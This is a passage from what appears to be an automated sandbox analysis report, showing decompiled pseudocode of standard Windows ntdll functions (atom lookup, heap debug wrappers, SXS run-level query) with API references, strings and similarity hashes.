							L12:
							 *(_t83 - 4) = 0xfffffffe;
							E6CE1FFB0(_t65, _t78,  *((intOrPtr*)(_t83 - 0x50)) + 8);
							goto L13;
						} else {
							_t51 = E6CE562E0(_t83 - 0x3c, 0x10, 0xffffffff, L"#%u", _t78);
							_t84 = _t84 + 0x14;
							_t78 = _t51 + _t51;
							_t53 =  *( *(_t83 - 0x44));
							if(_t78 >= _t53) {
								if(_t53 < 2) {
									_t78 = 0;
								} else {
									_t78 = _t53 - 2;
								}
							}
							if(_t78 == 0) {
								L33:
								_t82 = 0xc0000023;
								L34:
								 *((intOrPtr*)(_t83 - 0x40)) = _t82;
							} else {
								_t54 = _t83 - 0x3c;
								L11:
								memcpy(_t65, _t54, _t78);
								 *((short*)(_t65 + (_t78 >> 1) * 2)) = 0;
								 *( *(_t83 - 0x44)) = _t78;
							}
							goto L12;
						}
					}
					_t82 = 0xc000000d;
					goto L34;
				}
				_t82 = 0xc0000008;
				 *((intOrPtr*)(_t83 - 0x40)) = 0xc0000008;
				_t71 = E6CE01986( *((intOrPtr*)(_t83 - 0x50)), _t78 & 0x00003fff);
				if(_t71 == 0 ||  *((intOrPtr*)(_t71 + 6)) != _t78) {
					goto L12;
				} else {
					_t16 = _t71 + 8; // 0x8
					_t60 = _t16;
					if(_t60 == 0) {
						goto L12;
					}
					_t82 = 0;
					 *((intOrPtr*)(_t83 - 0x40)) = 0;
					_t74 =  *(_t83 - 0x48);
					if(_t74 != 0) {
						 *_t74 =  *_t60 & 0x0000ffff;
					}
					_t75 =  *(_t83 - 0x4c);
					if(_t75 != 0) {
						 *_t75 =  *(_t71 + 0xa) & 0x0000ffff;
					}
					if(_t65 == 0) {
						goto L12;
					} else {
						_t81 = ( *(_t71 + 0xc) & 0x000000ff) + ( *(_t71 + 0xc) & 0x000000ff);
						_t76 =  *(_t83 - 0x44);
						_t63 =  *_t76;
						if(_t81 >= _t63) {
							if(_t63 < 2) {
								 *_t76 = _t81;
								_t78 = 0;
							} else {
								_t78 = _t63 - 2;
							}
						}
						if(_t78 == 0) {
							goto L33;
						} else {
							_t22 = _t71 + 0xe; // 0xe
							_t54 = _t22;
							goto L11;
						}
					}
				}
			}

0x6ce01390
0x6ce01390
0x6ce01392
0x6ce01397
0x6ce0139f
0x6ce013a2
0x6ce013a9
0x6ce013af
0x6ce013b2
0x6ce013b8
0x6ce013c2
0x6ce01469
0x6ce0146e
0x6ce0146e
0x6ce013c8
0x6ce013d4
0x6ce5ee5d
0x6ce5ee69
0x6ce5ee6b
0x6ce5ee6e
0x6ce5ee73
0x6ce5ee75
0x6ce5ee75
0x6ce5ee7b
0x6ce5ee80
0x6ce5ee82
0x6ce5ee82
0x6ce5ee8a
0x6ce01454
0x6ce01454
0x6ce01462
0x00000000
0x6ce5ee90
0x6ce5ee9e
0x6ce5eea3
0x6ce5eea8
0x6ce5eead
0x6ce5eeb1
0x6ce5eeb6
0x6ce5eebd
0x6ce5eeb8
0x6ce5eeb8
0x6ce5eeb8
0x6ce5eeb6
0x6ce5eec1
0x6ce5eee1
0x6ce5eee1
0x6ce5eefc
0x6ce5eefc
0x6ce5eec3
0x6ce5eec3
0x6ce0143a
0x6ce0143d
0x6ce0144b
0x6ce01452
0x6ce01452
0x00000000
0x6ce5eec1
0x6ce5ee8a
0x6ce5ee5f
0x00000000
0x6ce5ee5f
0x6ce013da
0x6ce013df
0x6ce013f2
0x6ce013f6
0x00000000
0x6ce013fe
0x6ce013fe
0x6ce013fe
0x6ce01403
0x00000000
0x00000000
0x6ce01405
0x6ce01407
0x6ce0140a
0x6ce0140f
0x6ce01474
0x6ce01474
0x6ce01411
0x6ce01416
0x6ce0147c
0x6ce0147c
0x6ce0141a
0x00000000
0x6ce0141c
0x6ce01420
0x6ce01422
0x6ce01425
0x6ce01429
0x6ce5eece
0x6ce5eed8
0x6ce5eeda
0x6ce5eed0
0x6ce5eed0
0x6ce5eed0
0x6ce5eece
0x6ce01431
0x00000000
0x6ce01437
0x6ce01437
0x6ce01437
0x00000000
0x6ce01437
0x6ce01431
0x6ce0141a

APIs

Part of subcall function 6CE01783: RtlAcquireSRWLockExclusive.1105(?,6CE013C0,6CEDF288,00000044), ref: 6CE01793

RtlReleaseSRWLockExclusive.1105(?,6CEDF288,00000044), ref: 6CE01462

Part of subcall function 6CE01986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6CE013F2,6CEDF288,00000044), ref: 6CE01995

memcpy.1105(?,0000000E,?,6CEDF288,00000044), ref: 6CE0143D

Strings

#%u, xrefs: 6CE5EE91

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireHandleIndexReleaseValidmemcpy
String ID: #%u
API String ID: 1422088098-232158463
Opcode ID: fede4af8efd55ecdfe222f3dca3fe95a8931455f3499f9e5d3d99b92005487c0
Instruction ID: 2daeb9b933efb52690787cec9d9f52b60682c5e28c8540db70aaa5cfd3bbed73
Opcode Fuzzy Hash: fede4af8efd55ecdfe222f3dca3fe95a8931455f3499f9e5d3d99b92005487c0
Instruction Fuzzy Hash: 01410371B10655CBDB10CF98C84069EB3B6AF8630CF75402AE815AFB50DB76D866C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE017B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6CE017B0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				short _t23;
				intOrPtr _t24;
				short _t28;
				short _t40;
				void* _t41;
				short* _t43;
				intOrPtr* _t49;
				intOrPtr* _t51;
				intOrPtr _t52;
				void* _t53;

				_t41 = __ecx;
				_push(0x18);
				_push(0x6cedf2c8);
				E6CE5D08C(__ebx, __edi, __esi);
				_t49 =  *((intOrPtr*)(_t53 + 8));
				if(_t49 == 0 ||  *_t49 != 0x6d6f7441) {
					_t40 = 0;
					_t23 = 0;
				} else {
					E6CE22280(_t49 + 8, _t49 + 8);
					_t23 = 1;
					_t40 = 0;
				}
				if(_t23 == 0) {
					_t24 = 0xc000000d;
					goto L13;
				} else {
					 *((intOrPtr*)(_t53 - 4)) = _t40;
					_t51 =  *((intOrPtr*)(_t53 + 0xc));
					if(E6CE41310(_t51, _t53 - 0x1c) != 0) {
						_t28 =  *((intOrPtr*)(_t53 - 0x1c));
						if(_t28 < 0xc000) {
							_t52 = _t40;
						} else {
							_t28 = 0;
							 *((short*)(_t53 - 0x1c)) = 0;
							_t52 = 0xc000000d;
						}
						 *((intOrPtr*)(_t53 - 0x20)) = _t52;
						_t43 =  *((intOrPtr*)(_t53 + 0x10));
						if(_t43 == 0) {
							L12:
							 *((intOrPtr*)(_t53 - 4)) = 0xfffffffe;
							E6CE1FFB0(_t40, _t49, _t49 + 8);
							_t24 = _t52;
							L13:
							return E6CE5D0D1(_t24);
						}
						L11:
						 *_t43 = _t28;
						goto L12;
					}
					if( *_t51 == _t40) {
						_t52 = 0xc0000033;
						L15:
						 *((intOrPtr*)(_t53 - 0x20)) = _t52;
						goto L12;
					}
					_t52 = E6CE0187D(_t49, _t51, _t41, _t40, _t40, _t53 - 0x28, _t53 - 0x1c);
					 *((intOrPtr*)(_t53 - 0x20)) = _t52;
					if(_t52 < 0) {
						goto L12;
					}
					_t34 =  *((intOrPtr*)(_t53 - 0x1c));
					if( *((intOrPtr*)(_t53 - 0x1c)) == 0) {
						_t52 = 0xc0000034;
						goto L15;
					}
					if(E6CE01986(_t49,  *(_t34 + 4) & 0x0000ffff) == 0) {
						_t52 = 0xc0000008;
						goto L15;
					}
					_t52 = _t40;
					 *((intOrPtr*)(_t53 - 0x20)) = _t52;
					_t43 =  *((intOrPtr*)(_t53 + 0x10));
					if(_t43 == 0) {
						goto L12;
					}
					_t28 =  *((intOrPtr*)( *((intOrPtr*)(_t53 - 0x1c)) + 6));
					goto L11;
				}
			}

0x6ce017b0
0x6ce017b0
0x6ce017b2
0x6ce017b7
0x6ce017bc
0x6ce017c1
0x6ce5ef6c
0x6ce5ef6e
0x6ce017d3
0x6ce017d7
0x6ce017dc
0x6ce017de
0x6ce017de
0x6ce017e2
0x6ce5ef75
0x00000000
0x6ce017e8
0x6ce017e8
0x6ce017ef
0x6ce017fa
0x6ce5ef84
0x6ce5ef8b
0x6ce5ef9a
0x6ce5ef8d
0x6ce5ef8d
0x6ce5ef8f
0x6ce5ef93
0x6ce5ef93
0x6ce5ef9c
0x6ce5ef9f
0x6ce5efa4
0x6ce01852
0x6ce01852
0x6ce0185d
0x6ce01862
0x6ce01864
0x6ce01869
0x6ce01869
0x6ce0184f
0x6ce0184f
0x00000000
0x6ce0184f
0x6ce01803
0x6ce5efaf
0x6ce01871
0x6ce01871
0x00000000
0x6ce01871
0x6ce0181d
0x6ce0181f
0x6ce01824
0x00000000
0x00000000
0x6ce01826
0x6ce0182b
0x6ce0186c
0x00000000
0x6ce0186c
0x6ce0183a
0x6ce01876
0x00000000
0x6ce01876
0x6ce0183c
0x6ce0183e
0x6ce01841
0x6ce01846
0x00000000
0x00000000
0x6ce0184b
0x00000000
0x6ce0184b

APIs

RtlAcquireSRWLockExclusive.1105(?,6CEDF2C8,00000018), ref: 6CE017D7
RtlGetIntegerAtom.1105(?,?,?,6CEDF2C8,00000018), ref: 6CE017F3

Part of subcall function 6CE0187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6CE01921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6CEDF2C8,00000018), ref: 6CE0185D

Part of subcall function 6CE01986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6CE013F2,6CEDF288,00000044), ref: 6CE01995

Strings

Atom, xrefs: 6CE017C7

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: a1fe4f3806a5018a1e54ab075c0530a53a0f20f6278ff4b5ec47deb4e961652e
Instruction ID: de3ab3e0575b2981d80c1d71bd2ef2b25996e5a4dcd9bf5143011b698d9a82cd
Opcode Fuzzy Hash: a1fe4f3806a5018a1e54ab075c0530a53a0f20f6278ff4b5ec47deb4e961652e
Instruction Fuzzy Hash: D131A035E01615CBDB00CFD484406EEB3B9BF0975CB65811AE864ABB00DB3EDA2687F1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE94955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E6CE94955(void* __ecx, void* __edx, intOrPtr* _a4) {
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				intOrPtr _v104;
				intOrPtr _t36;
				intOrPtr _t38;
				signed char* _t41;
				void* _t44;
				void* _t49;
				intOrPtr _t54;
				intOrPtr* _t55;
				intOrPtr _t61;

				_v72 = 0xc00000e5;
				_t58 = 1;
				_t44 = __edx;
				_t61 = 0;
				_v68 = 0;
				E6CE31D47( &_v72,  &_v52, 0x30,  &_v56, 0x30, __edx, __ecx, 1,  &_v60,  &_v64);
				if(_v104 == 1) {
					_t36 =  *((intOrPtr*)(_t44 + 0x18));
					_t54 =  *((intOrPtr*)(_t36 + _t44 + 8));
					_t49 =  *((intOrPtr*)(_t36 + _t44 + 0xc)) + _t44;
					__eflags = 1 - _t54;
					if(__eflags < 0) {
						_t16 = _t49 + 0x18; // 0x116
						_t41 = _t16;
						while(1) {
							__eflags =  *_t41 & 0x00000002;
							if(( *_t41 & 0x00000002) != 0) {
								break;
							}
							_t58 = _t58 + 1;
							_t41 =  &(_t41[0x18]);
							__eflags = _t58 - _t54;
							if(_t58 < _t54) {
								continue;
							}
							break;
						}
						__eflags = _t58 - _t54;
					}
					if(__eflags != 0) {
						_t38 =  *((intOrPtr*)(_t58 * 0x18 + _t49 + 0x10));
						__eflags =  *((intOrPtr*)(_t38 + _t44)) - 0x6c;
						if( *((intOrPtr*)(_t38 + _t44)) == 0x6c) {
							_t55 = _a4;
							 *_t55 = _t61;
							_t24 = _t44 + 0x64; // 0x0
							 *((intOrPtr*)(_t55 + 4)) =  *((intOrPtr*)(_t38 + _t24));
							_t27 = _t44 + 0x68; // 0xfffffffe
							 *((intOrPtr*)(_t55 + 8)) =  *((intOrPtr*)(_t38 + _t27));
						} else {
							_push(_t44);
							_push("RtlpQueryRunLevel");
							_push("SXS: %s() found activation context data at %p with wrong format\n");
							goto L9;
						}
					} else {
						_push(_t44);
						_push("RtlpQueryRunLevel");
						_push("SXS: %s() found activation context data at %p with assembly roster that has no root\n");
						L9:
						_push(_t61);
						_push(0x33);
						E6CE95720();
						_t61 = 0xc0150003;
					}
				} else {
					_t61 = _v72;
				}
				return _t61;
			}

0x6ce94967
0x6ce94977
0x6ce9497e
0x6ce9498e
0x6ce94995
0x6ce94999
0x6ce949a4
0x6ce949ae
0x6ce949b5
0x6ce949b9
0x6ce949bb
0x6ce949bd
0x6ce949bf
0x6ce949bf
0x6ce949c2
0x6ce949c2
0x6ce949c5
0x00000000
0x00000000
0x6ce949c7
0x6ce949c8
0x6ce949cb
0x6ce949cd
0x00000000
0x00000000
0x00000000
0x6ce949cd
0x6ce949cf
0x6ce949cf
0x6ce949d1
0x6ce949f3
0x6ce949f7
0x6ce949fb
0x6ce94a0a
0x6ce94a0d
0x6ce94a0f
0x6ce94a13
0x6ce94a16
0x6ce94a1a
0x6ce949fd
0x6ce949fd
0x6ce949fe
0x6ce94a03
0x00000000
0x6ce94a03
0x6ce949d3
0x6ce949d3
0x6ce949d4
0x6ce949d9
0x6ce949de
0x6ce949de
0x6ce949df
0x6ce949e1
0x6ce949e9
0x6ce949e9
0x6ce949a6
0x6ce949a6
0x6ce949aa
0x6ce94a25

APIs

Part of subcall function 6CE31D47: memset.1105(00000000,00000000,6CE517F0,?,00000001,00000000,?,6CE08D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6CE31D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6CE949E1

Strings

RtlpQueryRunLevel, xrefs: 6CE949D4, 6CE949FE
SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6CE949D9
SXS: %s() found activation context data at %p with wrong format, xrefs: 6CE94A03

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: eff2c80bcae0eb218c3e6f822238754ba4869e2a1e97a113ec7d31460345f0e8
Instruction ID: 6093894bcb1abbab1ebbfc4ccbca4325b84abe03798e2453ae83638477a30725
Opcode Fuzzy Hash: eff2c80bcae0eb218c3e6f822238754ba4869e2a1e97a113ec7d31460345f0e8
Instruction Fuzzy Hash: A621F3B2A04301AFD325CF08C880E4BB7EDEBC531CF25465EF8695B641DA30ED41C6A6

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC40DC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
timeCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E6CEC40DC(void* __ebx, intOrPtr* __ecx, signed int __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				char _t31;
				signed int _t57;
				void* _t62;

				_t59 = __edi;
				_push(0x1c);
				_push(0x6cee0fe0);
				E6CE5D0E8(__ebx, __edi, __esi);
				_t47 = __edx;
				_t61 = __ecx;
				 *((intOrPtr*)(_t62 - 0x2c)) = __ecx;
				 *((char*)(_t62 - 0x1d)) = 0;
				 *((char*)(_t62 - 0x1e)) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t62 - 4) = 0;
					 *(_t62 - 4) = 1;
					_t31 = E6CE040E1("RtlSetUserValueHeap");
					__eflags = _t31;
					if(_t31 != 0) {
						_t47 = __edx |  *(__ecx + 0x44) | 0x10000000;
						 *(_t62 - 0x28) = _t47;
						__eflags = _t47 & 0x00000001;
						if((_t47 & 0x00000001) == 0) {
							L6CE1EEF0( *((intOrPtr*)(__ecx + 0xc8)));
							 *((char*)(_t62 - 0x1e)) = 1;
							_t47 = _t47 | 0x00000001;
							__eflags = _t47;
							 *(_t62 - 0x28) = _t47;
						}
						E6CEC4496(_t61, 0);
						_t59 =  *((intOrPtr*)(_t62 + 8));
						_t57 = _t59 - 8;
						__eflags =  *((char*)(_t57 + 7)) - 5;
						if( *((char*)(_t57 + 7)) == 5) {
							__eflags = _t57;
						}
						__eflags = E6CE03FC5(_t57, "RtlSetUserValueHeap");
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t62 + 0xc)));
							_push(_t59);
							_push(_t47);
							_push(_t61);
							 *((char*)(_t62 - 0x1d)) = E6CE01E50(_t47, _t59, _t61, __eflags);
							E6CEC4496(_t61, 0);
						}
					} else {
						 *((char*)(_t62 - 0x1d)) = _t31;
					}
					_t25 = _t62 - 4;
					 *_t25 =  *(_t62 - 4) & 0x00000000;
					__eflags =  *_t25;
					 *(_t62 - 4) = 0xfffffffe;
					E6CEC41FD();
				} else {
					_t61 =  *0x6cef5738; // 0x0
					 *0x6cefb1e0(__ecx, __edx,  *((intOrPtr*)(_t62 + 8)),  *((intOrPtr*)(_t62 + 0xc)));
					 *_t61();
				}
				return E6CE5D130(_t47, _t59, _t61);
			}

0x6cec40dc
0x6cec40dc
0x6cec40de
0x6cec40e3
0x6cec40e8
0x6cec40ea
0x6cec40ec
0x6cec40f1
0x6cec40f4
0x6cec40fe
0x6cec411d
0x6cec4120
0x6cec412e
0x6cec4133
0x6cec4135
0x6cec4147
0x6cec4149
0x6cec414c
0x6cec414f
0x6cec4157
0x6cec415c
0x6cec4160
0x6cec4160
0x6cec4163
0x6cec4163
0x6cec416a
0x6cec416f
0x6cec4172
0x6cec4175
0x6cec4179
0x6cec4182
0x6cec4182
0x6cec4190
0x6cec4192
0x6cec4194
0x6cec4197
0x6cec4198
0x6cec4199
0x6cec419f
0x6cec41a6
0x6cec41a6
0x6cec4137
0x6cec4137
0x6cec4137
0x6cec41e2
0x6cec41e2
0x6cec41e2
0x6cec41e6
0x6cec41ed
0x6cec4100
0x6cec4108
0x6cec4110
0x6cec4116
0x6cec4116
0x6cec41fa

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0FE0), ref: 6CEC4110

Strings

RtlSetUserValueHeap, xrefs: 6CEC4127, 6CEC4184

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSetUserValueHeap
API String ID: 3446177414-1142157168
Opcode ID: f34595de28795be9b3e3c7377be17c204b53856f913c769ffdfe259e9f6a989c
Instruction ID: 2bf6ef1cb181cae7dc806273ad1d6fc8562c11067282a8535fbaa2c7446af142
Opcode Fuzzy Hash: f34595de28795be9b3e3c7377be17c204b53856f913c769ffdfe259e9f6a989c
Instruction Fuzzy Hash: D421F732A012549BDF11CFB886007EEBF71AF5635CF24804DE0A467B81C7314A4ADB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
timeCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6CEC387C(void* __ebx, intOrPtr* __ecx, signed int __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				char _t33;
				signed int _t57;
				void* _t61;

				_t58 = __edi;
				_push(0x1c);
				_push(0x6cee0f20);
				E6CE5D0E8(__ebx, __edi, __esi);
				_t48 = __edx;
				_t60 = __ecx;
				 *((intOrPtr*)(_t61 - 0x2c)) = __ecx;
				 *((char*)(_t61 - 0x1d)) = 0;
				 *((char*)(_t61 - 0x1e)) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t61 - 4) = 0;
					 *(_t61 - 4) = 1;
					_t33 = E6CE040E1("RtlGetUserInfoHeap");
					__eflags = _t33;
					if(_t33 != 0) {
						_t48 = __edx |  *(__ecx + 0x44) | 0x10000000;
						 *(_t61 - 0x28) = _t48;
						__eflags = _t48 & 0x00000001;
						if((_t48 & 0x00000001) == 0) {
							L6CE1EEF0( *((intOrPtr*)(__ecx + 0xc8)));
							 *((char*)(_t61 - 0x1e)) = 1;
							_t48 = _t48 | 0x00000001;
							__eflags = _t48;
							 *(_t61 - 0x28) = _t48;
						}
						E6CEC4496(_t60, 0);
						_t58 =  *((intOrPtr*)(_t61 + 8));
						_t57 = _t58 - 8;
						__eflags =  *((char*)(_t57 + 7)) - 5;
						if( *((char*)(_t57 + 7)) == 5) {
							__eflags = _t57;
						}
						__eflags = E6CE03FC5(_t57, "RtlGetUserInfoHeap");
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t61 + 0x10)));
							_push( *((intOrPtr*)(_t61 + 0xc)));
							_push(_t58);
							_push(_t48);
							_push(_t60);
							 *((char*)(_t61 - 0x1d)) = E6CE01C70(_t48, _t58, _t60, __eflags);
						}
					} else {
						 *((char*)(_t61 - 0x1d)) = _t33;
					}
					_t27 = _t61 - 4;
					 *_t27 =  *(_t61 - 4) & 0x00000000;
					__eflags =  *_t27;
					 *(_t61 - 4) = 0xfffffffe;
					E6CEC399A();
				} else {
					_t60 =  *0x6cef573c; // 0x0
					 *0x6cefb1e0(__ecx, __edx,  *((intOrPtr*)(_t61 + 8)),  *((intOrPtr*)(_t61 + 0xc)),  *((intOrPtr*)(_t61 + 0x10)));
					 *_t60();
				}
				return E6CE5D130(_t48, _t58, _t60);
			}

0x6cec387c
0x6cec387c
0x6cec387e
0x6cec3883
0x6cec3888
0x6cec388a
0x6cec388c
0x6cec3891
0x6cec3894
0x6cec389e
0x6cec38c0
0x6cec38c3
0x6cec38d1
0x6cec38d6
0x6cec38d8
0x6cec38ea
0x6cec38ec
0x6cec38ef
0x6cec38f2
0x6cec38fa
0x6cec38ff
0x6cec3903
0x6cec3903
0x6cec3906
0x6cec3906
0x6cec390d
0x6cec3912
0x6cec3915
0x6cec3918
0x6cec391c
0x6cec3925
0x6cec3925
0x6cec3933
0x6cec3935
0x6cec3937
0x6cec393a
0x6cec393d
0x6cec393e
0x6cec393f
0x6cec3945
0x6cec3945
0x6cec38da
0x6cec38da
0x6cec38da
0x6cec397f
0x6cec397f
0x6cec397f
0x6cec3983
0x6cec398a
0x6cec38a0
0x6cec38ab
0x6cec38b3
0x6cec38b9
0x6cec38b9
0x6cec3997

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20), ref: 6CEC38B3

Strings

RtlGetUserInfoHeap, xrefs: 6CEC38CA, 6CEC3927

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: 053d4d49f0b084798124a3dfce1b3baeb5e1b81f5389bd89952165ea04cec6ad
Instruction ID: 290ffa51f50f81ea043e9f44d97056ad0ed32c8925d3561212719dca8395d1d9
Opcode Fuzzy Hash: 053d4d49f0b084798124a3dfce1b3baeb5e1b81f5389bd89952165ea04cec6ad
Instruction Fuzzy Hash: EE21F831A05258AFDF01CFB886007DEBF71BF46318F24814CE4A46BB95C7328A59DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC4212, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6CEC4212(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t50;
				signed int _t55;
				void* _t59;

				_t56 = __edi;
				_push(0x24);
				_push(0x6cee0ea8);
				E6CE5D0E8(__ebx, __edi, __esi);
				_t46 = __edx;
				_t58 = __ecx;
				 *((intOrPtr*)(_t59 - 0x30)) = __ecx;
				 *((char*)(_t59 - 0x1d)) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t59 - 0x24) =  *(_t59 - 0x24) | 0xffffffff;
					 *(_t59 - 4) =  *(_t59 - 4) & 0x00000000;
					 *(_t59 - 4) = 1;
					if(E6CE040E1("RtlSizeHeap") != 0) {
						_t46 = __edx |  *(__ecx + 0x44) | 0x10000000;
						 *(_t59 - 0x2c) = _t46;
						if((_t46 & 0x00000001) == 0) {
							L6CE1EEF0( *((intOrPtr*)(__ecx + 0xc8)));
							 *(_t59 - 0x2c) = _t46;
							 *((char*)(_t59 - 0x1d)) = 1;
						}
						E6CEC4496(_t58, 0);
						_t22 =  *((intOrPtr*)(_t59 + 8)) - 8; // 0x6cef7998
						_t55 = _t22;
						if( *((char*)(_t55 + 7)) == 5) {
							_t55 = _t55 - (( *(_t55 + 6) & 0x000000ff) << 3);
						}
						_t50 = _t58;
						if(E6CE03FC5(_t55, "RtlSizeHeap") != 0) {
							 *(_t59 - 0x24) = E6CE335D0(_t50, _t58, _t46, _t56);
						}
					} else {
						 *(_t59 - 0x24) =  *(_t59 - 0x24) & 0x00000000;
					}
					 *(_t59 - 4) =  *(_t59 - 4) & 0x00000000;
					 *(_t59 - 4) = 0xfffffffe;
					E6CEC4326();
				} else {
					_t58 =  *0x6cef5748; // 0x0
					 *0x6cefb1e0(__ecx, __edx,  *((intOrPtr*)(_t59 + 8)));
					 *_t58();
				}
				return E6CE5D130(_t46, _t56, _t58);
			}

0x6cec4212
0x6cec4212
0x6cec4214
0x6cec4219
0x6cec421e
0x6cec4220
0x6cec4222
0x6cec4225
0x6cec4230
0x6cec424c
0x6cec4250
0x6cec4254
0x6cec4269
0x6cec427c
0x6cec427e
0x6cec4284
0x6cec428c
0x6cec4294
0x6cec4297
0x6cec4297
0x6cec429f
0x6cec42a7
0x6cec42a7
0x6cec42ae
0x6cec42b7
0x6cec42b7
0x6cec42be
0x6cec42c7
0x6cec42d1
0x6cec42d1
0x6cec426b
0x6cec426b
0x6cec426b
0x6cec430b
0x6cec430f
0x6cec4316
0x6cec4232
0x6cec4237
0x6cec423f
0x6cec4245
0x6cec4245
0x6cec4323

APIs

RtlDebugPrintTimes.1105(?,?,6CEF79A0,6CEE0EA8,00000024,6CE76051,?,?,00000000,00000000,?,?,6CE33347,?,00000000,?), ref: 6CEC423F

Strings

RtlSizeHeap, xrefs: 6CEC425B, 6CEC42B9

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSizeHeap
API String ID: 3446177414-202636049
Opcode ID: 23c489be4c4562ca7bdaab485ba31f5f4050a53375937b31b920eda99775ac5b
Instruction ID: c7400866b0a31706c9a87f8a564fb7c189b3a7cc26e7e8a554776926651a953e
Opcode Fuzzy Hash: 23c489be4c4562ca7bdaab485ba31f5f4050a53375937b31b920eda99775ac5b
Instruction Fuzzy Hash: A721FF31A006189BEB01CBA8C7047EDBFF0AF8531CF208649E4702BB90C7725A49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE83E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6CE83E13(void* __ecx, wchar_t* __edx) {
				wchar_t* _v8;
